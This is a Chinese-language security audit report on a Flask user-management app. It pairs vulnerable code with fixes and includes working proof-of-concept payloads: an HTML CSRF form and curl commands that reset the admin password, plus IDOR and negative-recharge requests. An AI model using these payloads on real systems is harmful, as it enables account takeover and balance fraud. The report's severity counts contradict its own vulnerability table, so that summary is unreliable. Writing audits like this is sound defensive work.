

# 用户管理系统 — 完整安全审计报告

项目名称：Flask 用户信息管理平台

审计日期：2026-07-13

漏洞总数：8

严重漏洞：5 | 中危漏洞：2 | 低危漏洞：1

## 漏洞清单

| 编号    | 漏洞类型       | 位置                | 严重性 |
|-------|------------|-------------------|-----|
| V-001 | CSRF密码修改   | /change-password  | 严重  |
| V-002 | IDOR 越权改密  | /change-password  | 严重  |
| V-003 | 无原密码校验     | /change-password  | 严重  |
| V-004 | IDOR 越权查资料 | /profile?user_id= | 严重  |
| V-005 | 负金额充值      | /recharge         | 严重  |
| V-006 | SQL注入（搜索）  | /?keyword=        | 严重  |
| V-007 | 路径穿越       | /page?name=../    | 严重  |
| V-008 | 任意文件上传     | /upload           | 中危  |

## 1. V-001/V-002/V-003 密码修改三重漏洞

### 漏洞代码

```
@app.route("/change-password", methods=["POST"])
def change_password():
    username = request.form.get("username", "")
    new_password = request.form.get("new_password", "")
    # 无CSRF Token验证
    # 无原密码验证
```

```
# 无session验证
c.execute("UPDATE users SET password = ? WHERE username = ?", (new_password, username))
```

## 漏洞详情

| 漏洞           | 说明                            | 风险                   |
|--------------|-------------------------------|----------------------|
| V-001 CSRF   | 无 CSRF Token，攻击者可构造恶意页面诱使用户提交 | 任意用户密码被篡改            |
| V-002 越权改密   | username 从表单获取，可修改任意用户密码      | 管理员密码可被普通用户篡改        |
| V-003 无原密码校验 | 直接设置新密码，无需知道旧密码               | 一次 XSS/CSRF 即可永久接管账号 |

## POC : CSRF 攻击页面

```
<!-- 攻击者构造的恶意页面 -->
<form action="http://target:5000/change-password" method="POST">
  <input type="hidden" name="username" value="admin">
  <input type="hidden" name="new_password" value="hacked123">
  <input type="submit" value="点击领红包">
</form>
```

当受害者（已登录 admin）点击提交后，admin 的密码被改为 `hacked123`，攻击者即可用新密码登录 admin 账号。

## POC : curl 命令

```
# 任何登录用户修改 admin 密码
curl -X POST http://127.0.0.1:5000/change-password \
  -d "username=admin&new_password=hacked123"

# 用新密码登录
curl -X POST http://127.0.0.1:5000/login \
  -d "username=admin&password=hacked123"
# ✅ 登录成功！
```

## 修复方案

```
# ✅ 1. 添加 CSRF Token 验证
_validate_csrf()

# ✅ 2. 验证当前 session 与修改目标一致
current_user = session.get("username")
if current_user != username:
    abort(403, "无权修改他人密码")

# ✅ 3. 验证原密码
old_password = request.form.get("old_password", "")
user = USERS.get(username)
if not user or not check_password_hash(user["password_hash"], old_password):
    return render_template("profile.html", error="原密码错误")
```

## 2. V-004 IDOR 越权查资料

位置： `/profile?user_id=2`

详情： `user_id` 从 URL 获取，不校验当前用户身份，可查看任意用户资料。

### POC

```
curl "http://127.0.0.1:5000/profile?user_id=2" # 查看 alice 资料
```

## 3. V-005 负金额充值

位置： POST `/recharge`

详情： `amount` 不做正负校验，可传入负数"充值"来扣减余额。

### POC

```
curl -X POST -d "user_id=1&amount=-99999" http://127.0.0.1:5000/recharge
```

# 修复方法汇总

| 漏洞            | 问题            | 修复方案             |
|---------------|---------------|------------------|
| V-001 CSRF改密  | 无 CSRF Token  | 添加 CSRF 验证       |
| V-002 越权改密    | username 从表单取 | 从 session 获取当前用户 |
| V-003 无原密码    | 直接修改          | 验证原密码            |
| V-004 IDOR查资料 | user_id 从URL取 | 从 session 获取     |
| V-005 负金额     | amount 无校验    | 检查 amount > 0    |
| V-006 SQL注入   | f-string 拼接   | 参数化查询            |
| V-007 路径穿越    | 直接拼接路径        | realpath + 前缀校验  |
| V-008 文件上传    | 无校验           | 后缀白名单            |

报告日期：2026-07-13